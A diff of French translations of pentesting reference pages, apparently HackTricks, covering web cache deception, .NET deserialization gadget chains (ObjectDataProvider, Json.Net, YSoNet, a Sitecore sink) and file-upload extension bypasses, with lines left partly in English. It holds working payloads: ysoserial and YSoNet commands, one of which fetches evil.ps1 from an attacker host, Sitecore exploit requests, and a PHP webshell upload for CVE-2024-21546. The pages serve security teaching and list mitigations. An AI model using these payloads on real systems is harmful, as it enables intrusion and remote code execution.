@ -257,9 +257,9 @@ Le [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) spécifie les caract
|
||||
|
||||
## Cache Deception
|
||||
|
||||
The goal of Cache Deception is to make clients **load resources that are going to be saved by the cache with their sensitive information**.
|
||||
L'objectif de Cache Deception est de faire en sorte que les clients **chargent des ressources qui vont être enregistrées par le cache avec leurs informations sensibles**.
|
||||
|
||||
First of all note that **extensions** such as `.css`, `.js`, `.png` etc are usually **configured** to be **saved** in the **cache.** Therefore, if you access `www.example.com/profile.php/nonexistent.js` the cache will probably store the response because it sees the `.js` **extension**. But, if the **application** is **replaying** with the **sensitive** user contents stored in _www.example.com/profile.php_, you can **steal** those contents from other users.
|
||||
Tout d'abord, notez que les **extensions** telles que `.css`, `.js`, `.png` etc. sont généralement **configurées** pour être **enregistrées** dans le **cache**. Par conséquent, si vous accédez à `www.example.com/profile.php/nonexistent.js` le cache stockera probablement la réponse car il voit l'**extension** `.js`. Mais, si l'**application** renvoie le contenu utilisateur **sensible** stocké dans _www.example.com/profile.php_, vous pouvez **voler** ces contenus d'autres utilisateurs.
|
||||
|
||||
Other things to test:
|
||||
|
||||
@ -278,9 +278,9 @@ Note that the **cache proxy** should be **configured** to **cache** files **base
|
||||
|
||||
Apprenez ici comment effectuer[ Cache Deceptions attacks abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception).
|
||||
|
||||
## Outils Automatiques
|
||||
## Outils automatiques
|
||||
|
||||
- [**toxicache**](https://github.com/xhzeem/toxicache): scanner Golang pour trouver des web cache poisoning vulnerabilities dans une liste d'URLs et tester plusieurs techniques d'injection.
|
||||
- [**toxicache**](https://github.com/xhzeem/toxicache): Golang scanner pour trouver des vulnérabilités de web cache poisoning dans une liste d'URLs et tester plusieurs techniques d'injection.
|
||||
|
||||
## Références
|
||||
|
||||
|
@ -4,35 +4,35 @@
|
||||
|
||||
Ce post est dédié à **comprendre comment le gadget ObjectDataProvider est exploité** pour obtenir RCE et **comment** les bibliothèques de sérialisation **Json.Net et xmlSerializer peuvent être abusées** avec ce gadget.
|
||||
|
||||
## Gadget ObjectDataProvider
|
||||
## ObjectDataProvider Gadget
|
||||
|
||||
D'après la documentation : _the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source_.\
|
||||
Oui, c'est une explication étrange, voyons donc ce que cette classe contient d'intéressant : cette classe permet de **wrap un objet arbitraire**, d'utiliser _**MethodParameters**_ pour **définir des paramètres arbitraires**, puis d'**utiliser MethodName pour appeler une fonction arbitraire** de l'objet arbitraire déclaré en utilisant les paramètres arbitraires.\
|
||||
Par conséquent, l'**objet** arbitraire va **exécuter** une **fonction** avec des **paramètres pendant sa désérialisation.**
|
||||
From the documentation: _the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source_.\
|
||||
Ouais, c'est une explication étrange, voyons donc ce que cette classe contient d'intéressant : cette classe permet de **wrap un objet arbitraire**, d'utiliser _**MethodParameters**_ pour **définir des paramètres arbitraires**, puis **d'utiliser MethodName pour appeler une fonction arbitraire** de l'objet arbitraire déclarée en utilisant les paramètres arbitraires.\
|
||||
Ainsi, l'**objet** arbitraire va **exécuter** une **fonction** avec des **paramètres lors de sa désérialisation.**
|
||||
|
||||
### **Comment est-ce possible**
|
||||
|
||||
L'espace de noms **System.Windows.Data**, situé dans **PresentationFramework.dll** à `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`, est l'endroit où ObjectDataProvider est défini et implémenté.
|
||||
Le namespace **System.Windows.Data**, présent dans **PresentationFramework.dll** à `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`, est l'endroit où ObjectDataProvider est défini et implémenté.
|
||||
|
||||
En utilisant [**dnSpy**](https://github.com/0xd4d/dnSpy) vous pouvez **inspecter le code** de la classe qui nous intéresse. Sur l'image ci‑dessous nous voyons le code de **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name**
|
||||
En utilisant [**dnSpy**](https://github.com/0xd4d/dnSpy) vous pouvez **inspecter le code** de la classe qui nous intéresse. Dans l'image ci‑dessous nous voyons le code de **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name**
|
||||
|
||||
.png>)
|
||||
|
||||
Comme vous pouvez le constater, lorsque `MethodName` est défini, `base.Refresh()` est appelé ; regardons ce que cela fait :
|
||||
Comme vous pouvez l'observer, lorsque `MethodName` est défini `base.Refresh()` est appelé ; regardons ce que cela fait :
|
||||
|
||||
.png>)
|
||||
|
||||
Ok, continuons et voyons ce que fait `this.BeginQuery()`. `BeginQuery` est surchargé par `ObjectDataProvider` et voici ce qu'il fait :
|
||||
Ok, poursuivons en voyant ce que fait `this.BeginQuery()`. `BeginQuery` est surchargée par `ObjectDataProvider` et voici ce qu'elle fait :
|
||||
|
||||
.png>)
|
||||
|
||||
Notez qu'à la fin du code il appelle `this.QueryWorke(null)`. Voyons ce que cela exécute :
|
||||
Notez qu'à la fin du code elle appelle `this.QueryWorke(null)`. Voyons ce que cela exécute :
|
||||
|
||||
.png>)
|
||||
|
||||
Notez que ce n'est pas le code complet de la fonction `QueryWorker` mais cela montre la partie intéressante : le code **appelle `this.InvokeMethodOnInstance(out ex);`** — c'est la ligne où le **jeu de méthodes est invoqué**.
|
||||
Notez que ce n'est pas le code complet de la fonction `QueryWorker` mais cela montre la partie intéressante : le code **appelle `this.InvokeMethodOnInstance(out ex);`** — c'est la ligne où **l'ensemble de la méthode est invoqué**.
|
||||
|
||||
Si vous voulez vérifier que le simple fait de définir le _**MethodName**_** sera exécuté**, vous pouvez exécuter ce code :
|
||||
Si vous voulez vérifier que le simple fait de définir le _**MethodName**_ **va être exécuté**, vous pouvez lancer ce code :
|
||||
```java
|
||||
using System.Windows.Data;
|
||||
using System.Diagnostics;
|
||||
@ -52,16 +52,16 @@ myODP.MethodName = "Start";
|
||||
}
|
||||
}
|
||||
```
|
||||
Notez que vous devez ajouter comme référence _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ afin de charger `System.Windows.Data`
|
||||
Notez que vous devez ajouter en référence _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ afin de charger `System.Windows.Data`
|
||||
|
||||
## ExpandedWrapper
|
||||
|
||||
En utilisant l'exploit précédent, il y aura des cas où l'**objet** sera **désérialisé en tant que** une instance _**ObjectDataProvider**_ (par exemple dans la DotNetNuke vuln, en utilisant XmlSerializer, l'objet a été désérialisé en utilisant `GetType`). Ensuite, il n'aura **aucune connaissance du type d'objet encapsulé** dans l'instance _ObjectDataProvider_ (`Process` par exemple). Vous pouvez trouver plus [information about the DotNetNuke vuln here](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).
|
||||
En utilisant l'exploit précédent, il y aura des cas où l'**objet** va être **désérialisé en tant que** une instance _**ObjectDataProvider**_ (par exemple dans DotNetNuke vuln, en utilisant XmlSerializer, l'objet a été désérialisé en utilisant `GetType`). Dans ce cas, il n'aura **aucune connaissance du type d'objet qui est encapsulé** dans l'instance _ObjectDataProvider_ (par exemple `Process`). Vous pouvez trouver plus [information about the DotNetNuke vuln here](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).
|
||||
|
||||
Cette classe permet de s**pécifier les types des objets qui sont encapsulés** dans une instance donnée. Ainsi, cette classe peut être utilisée pour encapsuler un objet source (_ObjectDataProvider_) dans un nouveau type d'objet et fournir les propriétés dont nous avons besoin (_ObjectDataProvider.MethodName_ et _ObjectDataProvider.MethodParameters_).\
|
||||
Ceci est très utile pour des cas comme celui présenté précédemment, car nous pourrons **emboîter \_ObjectDataProvider**_** dans une **_**ExpandedWrapper** \_ instance et **lors de la désérialisation** cette classe va **créer** le _**OjectDataProvider**_ objet qui va **exécuter** la **fonction** indiquée dans _**MethodName**_.
|
||||
Cette classe permet de s**pécifier les types d'objets des objets qui sont encapsulés** dans une instance donnée. Ainsi, cette classe peut être utilisée pour encapsuler un objet source (_ObjectDataProvider_) dans un nouveau type d'objet et fournir les propriétés dont nous avons besoin (_ObjectDataProvider.MethodName_ et _ObjectDataProvider.MethodParameters_).\
|
||||
Ceci est très utile pour des cas comme celui présenté précédemment, car nous serons capables de **envelopper \_ObjectDataProvider**_** à l'intérieur d'une **_**ExpandedWrapper** \_ instance et **lors de la désérialisation** cette classe va **créer** l'objet _**OjectDataProvider**_ qui va **exécuter** la **fonction** indiquée dans _**MethodName**_.
|
||||
|
||||
Vous pouvez check this wrapper with the following code:
|
||||
Vous pouvez vérifier ce wrapper avec le code suivant:
|
||||
```java
|
||||
using System.Windows.Data;
|
||||
using System.Diagnostics;
|
||||
@ -85,11 +85,11 @@ myExpWrap.ProjectedProperty0.MethodName = "Start";
|
||||
```
|
||||
## Json.Net
|
||||
|
||||
Dans la [official web page](https://www.newtonsoft.com/json) il est indiqué que cette bibliothèque permet de **Serialize and deserialize any .NET object with Json.NET's powerful JSON serializer**. Donc, si nous pouvions **deserialize the ObjectDataProvider gadget**, nous pourrions provoquer une **RCE** simplement en deserializing an object.
|
||||
Sur la [page officielle](https://www.newtonsoft.com/json) il est indiqué que cette bibliothèque permet de **Serialize and deserialize any .NET object with Json.NET's powerful JSON serializer**. Donc, si nous pouvions **deserialize the ObjectDataProvider gadget**, nous pourrions provoquer une **RCE** simplement en désérialisant un objet.
|
||||
|
||||
### Exemple Json.Net
|
||||
|
||||
Tout d'abord, voyons un exemple montrant comment **serialize/deserialize** un objet en utilisant cette bibliothèque:
|
||||
Tout d'abord, voyons un exemple montrant comment **sérialiser/désérialiser** un objet en utilisant cette bibliothèque:
|
||||
```java
|
||||
using System;
|
||||
using Newtonsoft.Json;
|
||||
@ -132,9 +132,9 @@ Console.WriteLine(desaccount.Email);
|
||||
}
|
||||
}
|
||||
```
|
||||
### Abusing Json.Net
|
||||
### Abuser de Json.Net
|
||||
|
||||
En utilisant [ysoserial.net](https://github.com/pwntester/ysoserial.net) j'ai créé l'exploit :
|
||||
En utilisant [ysoserial.net](https://github.com/pwntester/ysoserial.net) j'ai créé l'exploit:
|
||||
```java
|
||||
yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
|
||||
{
|
||||
@ -147,7 +147,7 @@ yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
|
||||
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
|
||||
}
|
||||
```
|
||||
Dans ce code, vous pouvez **tester l'exploit**, il suffit de l'exécuter et vous verrez qu'un calc est exécuté :
|
||||
Dans ce code, vous pouvez **tester l'exploit**, lancez-le simplement et vous verrez qu'un calc est exécuté :
|
||||
```java
|
||||
using System;
|
||||
using System.Text;
|
||||
@ -184,27 +184,27 @@ TypeNameHandling = TypeNameHandling.Auto
|
||||
}
|
||||
}
|
||||
```
|
||||
## Advanced .NET Gadget Chains (YSoNet & ysoserial.net)
|
||||
## Chaînes de gadgets .NET avancées (YSoNet & ysoserial.net)
|
||||
|
||||
La technique ObjectDataProvider + ExpandedWrapper introduite ci‑dessus n'est qu'une des NOMBREUSES gadget chains qui peuvent être abusées lorsqu'une application effectue une **désérialisation .NET non sécurisée**. Les outils modernes de red-team tels que **[YSoNet](https://github.com/irsdl/ysonet)** (et l'ancien [ysoserial.net](https://github.com/pwntester/ysoserial.net)) automatisent la création de **graphes d'objets malveillants prêts à l'emploi** pour des dizaines de gadgets et formats de sérialisation.
|
||||
La technique ObjectDataProvider + ExpandedWrapper présentée ci‑dessus n'est qu'une des NOMBREUSES chaînes de gadgets qui peuvent être abusées lorsqu'une application effectue une **désérialisation .NET non sécurisée**. Les outils modernes de red-team tels que **[YSoNet](https://github.com/irsdl/ysonet)** (et le plus ancien [ysoserial.net](https://github.com/pwntester/ysoserial.net)) automatisent la création de **graphes d'objets malveillants prêts à l'emploi** pour des dizaines de gadgets et formats de sérialisation.
|
||||
|
||||
Ci‑dessous se trouve une référence condensée des chaînes les plus utiles fournies avec *YSoNet* accompagnée d'une brève explication de leur fonctionnement et d'exemples de commandes pour générer les payloads.
|
||||
Below is a condensed reference of the most useful chains shipped with *YSoNet* together with a quick explanation of how they work and example commands to generate the payloads.
|
||||
|
||||
| Gadget Chain | Key Idea / Primitive | Common Serializers | YSoNet one-liner |
|
||||
| Chaîne de gadgets | Idée clé / Primitive | Sérialiseurs courants | Commande YSoNet |
|
||||
|--------------|----------------------|--------------------|------------------|
|
||||
| **TypeConfuseDelegate** | Corrompt le record `DelegateSerializationHolder` de sorte qu'une fois matérialisé, le delegate pointe vers *n'importe quelle* méthode fournie par l'attaquant (ex. `Process.Start`) | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
|
||||
| **ActivitySurrogateSelector** | Exploite `System.Workflow.ComponentModel.ActivitySurrogateSelector` pour *contourner le filtrage de type .NET ≥4.8* et invoquer directement le **constructeur** d'une classe fournie ou **compiler** un fichier C# à la volée | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
|
||||
| **DataSetOldBehaviour** | Tire parti de la représentation XML **héritée** de `System.Data.DataSet` pour instancier des types arbitraires en remplissant les champs `<ColumnMapping>` / `<DataType>` (possibilité de falsifier l'assembly avec `--spoofedAssembly`) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
|
||||
| **GetterCompilerResults** | Sur les runtimes avec WPF activé (> .NET 5), enchaîne les getters de propriétés jusqu'à atteindre `System.CodeDom.Compiler.CompilerResults`, puis *compile* ou *charge* une DLL fournie avec `-c` | `Json.NET` typeless, `MessagePack` typeless | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
|
||||
| **TypeConfuseDelegate** | Corrompt l'enregistrement `DelegateSerializationHolder` de sorte que, une fois matérialisé, le delegate pointe vers *n'importe quelle* méthode fournie par l'attaquant (par ex. `Process.Start`) | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
|
||||
| **ActivitySurrogateSelector** | Abuse `System.Workflow.ComponentModel.ActivitySurrogateSelector` pour *contourner le filtrage de type de .NET ≥4.8* et invoquer directement le **constructeur** d'une classe fournie ou **compiler** un fichier C# à la volée | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
|
||||
| **DataSetOldBehaviour** | Tire parti de la **représentation XML héritée** de `System.Data.DataSet` pour instancier des types arbitraires en remplissant les champs `<ColumnMapping>` / `<DataType>` (optionnellement en falsifiant l'assembly avec `--spoofedAssembly`) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
|
||||
| **GetterCompilerResults** | Sur les runtimes avec WPF (> .NET 5) enchaîne les getters de propriétés jusqu'à atteindre `System.CodeDom.Compiler.CompilerResults`, puis *compile* ou *charge* une DLL fournie avec `-c` | `Json.NET` typeless, `MessagePack` typeless | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
|
||||
| **ObjectDataProvider** (review) | Utilise WPF `System.Windows.Data.ObjectDataProvider` pour appeler une méthode statique arbitraire avec des arguments contrôlés. YSoNet ajoute une variante pratique `--xamlurl` pour héberger le XAML malveillant à distance | `BinaryFormatter`, `Json.NET`, `XAML`, *etc.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
|
||||
| **PSObject (CVE-2017-8565)** | Incorpore un `ScriptBlock` dans `System.Management.Automation.PSObject` qui s'exécute lorsque PowerShell désérialise l'objet | PowerShell remoting, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` |
|
||||
| **PSObject (CVE-2017-8565)** | Intègre `ScriptBlock` dans `System.Management.Automation.PSObject` qui s'exécute lorsque PowerShell désérialise l'objet | PowerShell remoting, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` |
|
||||
|
||||
> [!TIP]
|
||||
> Tous les payloads sont **écrits sur *stdout*** par défaut, ce qui rend trivial de les rediriger vers d'autres outils (ex. générateurs ViewState, encodeurs base64, clients HTTP).
|
||||
> Tous les payloads sont **écrits sur *stdout*** par défaut, ce qui rend trivial de les pipe-er vers d'autres outils (par ex. générateurs ViewState, encodeurs base64, clients HTTP).
|
||||
|
||||
### Building / Installing YSoNet
|
||||
### Compilation / Installation de YSoNet
|
||||
|
||||
Si aucun binaire précompilé n'est disponible sous *Actions ➜ Artifacts* / *Releases*, la commande PowerShell en une seule ligne suivante préparera un environnement de build, clonera le dépôt et compilera tout en mode *Release* :
|
||||
Si aucun binaire précompilé n'est disponible sous *Actions ➜ Artifacts* / *Releases*, la commande **PowerShell** one-liner suivante configurera un environnement de build, clonera le dépôt et compilera le tout en mode *Release* :
|
||||
```powershell
|
||||
Set-ExecutionPolicy Bypass -Scope Process -Force;
|
||||
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
|
||||
@ -216,22 +216,22 @@ cd ysonet
|
||||
nuget restore ysonet.sln
|
||||
msbuild ysonet.sln -p:Configuration=Release
|
||||
```
|
||||
Le binaire compilé `ysonet.exe` peut alors être trouvé dans `ysonet/bin/Release/`.
|
||||
Le binaire compilé `ysonet.exe` se trouve ensuite dans `ysonet/bin/Release/`.
|
||||
|
||||
### Détection et durcissement
|
||||
* **Détecter** les processus enfants inattendus de `w3wp.exe`, `PowerShell.exe`, ou de tout processus désérialisant des données fournies par l'utilisateur (p. ex. `MessagePack`, `Json.NET`).
|
||||
* Activer et **appliquer le filtrage des types** (`TypeFilterLevel` = *Full*, custom `SurrogateSelector`, `SerializationBinder`, *etc.*) chaque fois que le legacy `BinaryFormatter` / `NetDataContractSerializer` ne peut pas être supprimé.
|
||||
* Quand possible, migrer vers **`System.Text.Json`** ou **`DataContractJsonSerializer`** avec des convertisseurs basés sur une liste blanche.
|
||||
* Empêcher le chargement des assemblies WPF dangereux (`PresentationFramework`, `System.Workflow.*`) dans les processus web qui ne devraient jamais en avoir besoin.
|
||||
### Détection & Durcissement
|
||||
* **Détecter** des processus enfants inattendus de `w3wp.exe`, `PowerShell.exe`, ou de tout processus désérialisant des données fournies par l'utilisateur (p. ex. `MessagePack`, `Json.NET`).
|
||||
* Activez et **appliquez le filtrage par type** (`TypeFilterLevel` = *Full*, `SurrogateSelector` personnalisé, `SerializationBinder`, *etc.*) chaque fois que les anciens `BinaryFormatter` / `NetDataContractSerializer` ne peuvent pas être supprimés.
|
||||
* Dans la mesure du possible, migrez vers **`System.Text.Json`** ou **`DataContractJsonSerializer`** avec des convertisseurs basés sur une liste blanche.
|
||||
* Bloquez le chargement des assemblies WPF dangereux (`PresentationFramework`, `System.Workflow.*`) dans les processus web qui ne devraient jamais en avoir besoin.
|
||||
|
||||
## Sink réel : Sitecore convertToRuntimeHtml → BinaryFormatter
|
||||
## Real‑world sink: Sitecore convertToRuntimeHtml → BinaryFormatter
|
||||
|
||||
Un sink .NET pratique accessible dans les flux authentifiés de Sitecore XP Content Editor :
|
||||
Un sink .NET pratique accessible dans les flux authentifiés de l'éditeur de contenu Sitecore XP :
|
||||
|
||||
- API de sink : `Sitecore.Convert.Base64ToObject(string)` encapsule `new BinaryFormatter().Deserialize(...)`.
|
||||
- Chemin de déclenchement : pipeline `convertToRuntimeHtml` → `ConvertWebControls`, qui recherche un élément frère avec `id="{iframeId}_inner"` et lit un attribut `value` qui est traité comme des données sérialisées encodées en base64. Le résultat est converti en string et inséré dans le HTML.
|
||||
- Sink API: `Sitecore.Convert.Base64ToObject(string)` appelle `new BinaryFormatter().Deserialize(...)`.
|
||||
- Chemin de déclenchement : pipeline `convertToRuntimeHtml` → `ConvertWebControls`, qui cherche un élément frère avec `id="{iframeId}_inner"` et lit un attribut `value` considéré comme des données sérialisées encodées en base64. Le résultat est converti en string et inséré dans le HTML.
|
||||
|
||||
Exemple minimal de bout en bout (authentifié) :
|
||||
Minimal end‑to‑end (authenticated):
|
||||
```
|
||||
// Load HTML into EditHtml session
|
||||
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
|
||||
@ -246,17 +246,17 @@ __PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
|
||||
// Server returns a handle; visiting FixHtml.aspx?hdl=... triggers deserialization
|
||||
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
|
||||
```
|
||||
- Gadget: n'importe quelle chaîne BinaryFormatter renvoyant une string (les effets secondaires s'exécutent pendant la désérialisation). Voir YSoNet/ysoserial.net pour générer des payloads.
|
||||
- Gadget: toute chaîne BinaryFormatter renvoyant une string (les effets secondaires s'exécutent pendant la désérialisation). Voir YSoNet/ysoserial.net pour générer des payloads.
|
||||
|
||||
Pour une chaîne complète qui commence pre‑auth avec HTML cache poisoning dans Sitecore et conduit à ce sink:
|
||||
Pour une chaîne complète qui commence pre‑auth avec HTML cache poisoning dans Sitecore et mène à ce sink:
|
||||
|
||||
{{#ref}}
|
||||
../../network-services-pentesting/pentesting-web/sitecore/README.md
|
||||
{{#endref}}
|
||||
|
||||
## Références
|
||||
- [YSoNet – Générateur de payloads de désérialisation .NET](https://github.com/irsdl/ysonet)
|
||||
- [ysoserial.net – outil PoC original](https://github.com/pwntester/ysoserial.net)
|
||||
## References
|
||||
- [YSoNet – .NET Deserialization Payload Generator](https://github.com/irsdl/ysonet)
|
||||
- [ysoserial.net – original PoC tool](https://github.com/pwntester/ysoserial.net)
|
||||
- [Microsoft – CVE-2017-8565](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2017-8565)
|
||||
- [watchTowr Labs – Sitecore XP cache poisoning → RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/)
|
||||
|
||||
|
@ -1,10 +1,10 @@
|
||||
# File Upload
|
||||
# Téléversement de fichiers
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## File Upload General Methodology
|
||||
## Méthodologie générale du téléversement de fichiers
|
||||
|
||||
Autres extensions utiles :
|
||||
Other useful extensions:
|
||||
|
||||
- **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
|
||||
- **Working in PHPv8**: _.php_, _.php4_, _.php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_
|
||||
@ -15,13 +15,13 @@ Autres extensions utiles :
|
||||
- **Perl**: _.pl, .cgi_
|
||||
- **Erlang Yaws Web Server**: _.yaws_
|
||||
|
||||
### Bypass file extensions checks
|
||||
### Contourner les vérifications d'extensions de fichiers
|
||||
|
||||
1. Si applicable, vérifiez les **extensions précédentes**. Testez-les aussi en utilisant des **lettres MAJUSCULES** : _pHp, .pHP5, .PhAr ..._
|
||||
1. Si elles sont appliquées, **vérifiez** les **extensions précédentes.** Testez-les aussi en utilisant des **lettres MAJUSCULES** : _pHp, .pHP5, .PhAr ..._
|
||||
2. _Vérifiez **l'ajout d'une extension valide avant** l'extension d'exécution (utilisez aussi les extensions précédentes) :_
|
||||
- _file.png.php_
|
||||
- _file.png.Php5_
|
||||
3. Essayez d'ajouter des **caractères spéciaux à la fin.** Vous pouvez utiliser Burp pour **bruteforce** tous les caractères **ascii** et **Unicode**. (_Notez que vous pouvez aussi essayer d'utiliser les **extensions** précédemment mentionnées_)
|
||||
3. Essayez d'ajouter des **caractères spéciaux à la fin.** Vous pouvez utiliser Burp pour **bruteforcer** tous les caractères **ASCII** et **Unicode**. (_Notez que vous pouvez aussi essayer d'utiliser les **extensions** mentionnées **précédemment**_)
|
||||
- _file.php%20_
|
||||
- _file.php%0a_
|
||||
- _file.php%00_
|
||||
@ -31,7 +31,7 @@ Autres extensions utiles :
|
||||
- _file._
|
||||
- _file.php...._
|
||||
- _file.pHp5...._
|
||||
4. Essayez de contourner les protections en **tricking the extension parser** côté serveur avec des techniques comme **doubling** l'**extension** ou **adding junk** (octets **null**) entre les extensions. _You can also use the **previous extensions** to prepare a better payload._
|
||||
4. Essayez de contourner les protections en trompant l'**analyseur d'extensions** côté serveur avec des techniques comme le **doublage** de l'**extension** ou l'**ajout de données indésirables** (octets **null**) entre les extensions. _Vous pouvez aussi utiliser les **extensions précédentes** pour préparer un meilleur payload._
|
||||
- _file.png.php_
|
||||
- _file.png.pHp5_
|
||||
- _file.php#.png_
|
||||
@ -40,12 +40,12 @@ Autres extensions utiles :
|
||||
- _file.php%0a.png_
|
||||
- _file.php%0d%0a.png_
|
||||
- _file.phpJunk123png_
|
||||
5. Ajoutez **another layer of extensions** au contrôle précédent :
|
||||
5. Ajoutez **une autre couche d'extensions** à la vérification précédente :
|
||||
- _file.png.jpg.php_
|
||||
- _file.php%00.png%00.jpg_
|
||||
6. Essayez de mettre l'**exec extension before the valid extension** et espérez que le serveur est mal configuré. (utile pour exploiter des misconfigurations Apache où tout fichier dont l'extension contient **.php**, mais **n'ayant pas forcément .php en fin de nom**, exécutera du code) :
|
||||
6. Essayez de mettre l'**extension exécutable avant l'extension valide** et priez pour que le serveur soit mal configuré. (utile pour exploiter des misconfigurations Apache où tout fichier dont l'extension est **.php**, mais pas forcément se terminant par .php, exécutera du code):
|
||||
- _ex: file.php.png_
|
||||
7. Utilisation de **NTFS alternate data stream (ADS)** sous **Windows**. Dans ce cas, un caractère deux-points ":" sera inséré après une extension interdite et avant une autorisée. En résultat, un **fichier vide avec l'extension interdite** sera créé sur le serveur (par ex. "file.asax:.jpg"). Ce fichier peut être modifié plus tard en utilisant d'autres techniques comme son nom de fichier court. Le motif "**::$data**" peut aussi être utilisé pour créer des fichiers non vides. Par conséquent, ajouter un caractère point après ce motif peut aussi être utile pour bypasser d'autres restrictions (par ex. "file.asp::$data.").
|
||||
7. Utilisation des **NTFS alternate data stream (ADS)** sous **Windows**. Dans ce cas, un caractère deux-points ":" sera inséré après une extension interdite et avant une extension autorisée. En conséquence, un **fichier vide avec l'extension interdite** sera créé sur le serveur (par ex. "file.asax:.jpg"). Ce fichier peut être modifié plus tard via d'autres techniques comme l'utilisation de son short filename. Le motif "**::$data**" peut aussi être utilisé pour créer des fichiers non vides. Par conséquent, ajouter un point après ce motif peut être utile pour contourner d'autres restrictions (par ex. "file.asp::$data.").
|
||||
8. Essayez de dépasser les limites de longueur du nom de fichier. L'extension valide est tronquée. Et le PHP malveillant reste. AAA<--SNIP-->AAA.php
|
||||
|
||||
```
|
||||
@ -59,15 +59,15 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAA<--SNIP 232 A-->AAA.php.png
|
||||
```
|
||||
|
||||
#### UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) – CVE-2024-21546
|
||||
#### UniSharp Laravel Filemanager pré-2.9.1 (.php. point final) – CVE-2024-21546
|
||||
|
||||
Certains gestionnaires d'upload suppriment ou normalisent les caractères point final du nom de fichier enregistré. Dans UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) versions antérieures à 2.9.1, vous pouvez contourner la validation d'extension en :
|
||||
Certains gestionnaires d'upload tronquent ou normalisent les points terminaux du nom de fichier enregistré. Dans UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) versions antérieures à 2.9.1, vous pouvez contourner la validation d'extension en :
|
||||
|
||||
- Utilisant un MIME image valide et l'en-tête magique correspondant (par ex., PNG’s `\x89PNG\r\n\x1a\n`).
|
||||
- Nommant le fichier uploadé avec une extension PHP suivie d'un point, par ex. `shell.php.`.
|
||||
- Le serveur supprime le point final et conserve `shell.php`, qui s'exécutera s'il est placé dans un répertoire servi par le web (storage public par défaut comme `/storage/files/`).
|
||||
- En utilisant un MIME image valide et un en-tête magique (par ex., le PNG `\x89PNG\r\n\x1a\n`).
|
||||
- En nommant le fichier uploadé avec une extension PHP suivie d'un point, par ex., `shell.php.`.
|
||||
- Le serveur supprime le point terminal et conserve `shell.php`, qui s'exécutera s'il est placé dans un répertoire servi par le web (par ex. le stockage public par défaut comme `/storage/files/`).
|
||||
|
||||
Minimal PoC (Burp Repeater):
|
||||
PoC minimal (Burp Repeater):
|
||||
```http
|
||||
POST /profile/avatar HTTP/1.1
|
||||
Host: target
|
||||
@ -80,55 +80,55 @@ Content-Type: image/png
|
||||
\x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?>
|
||||
------WebKitFormBoundary--
|
||||
```
|
||||
Puis accédez au chemin enregistré (typique dans Laravel + LFM):
|
||||
Ensuite, accédez au chemin enregistré (typique dans Laravel + LFM):
|
||||
```
|
||||
GET /storage/files/0xdf.php?cmd=id
|
||||
```
|
||||
Mitigations:
|
||||
- Mettre à jour unisharp/laravel-filemanager vers ≥ 2.9.1.
|
||||
- Appliquer des allowlists strictes côté serveur et re-valider le nom de fichier persisté.
|
||||
- Appliquer des allowlists strictes côté serveur et re-valider le nom de fichier persistant.
|
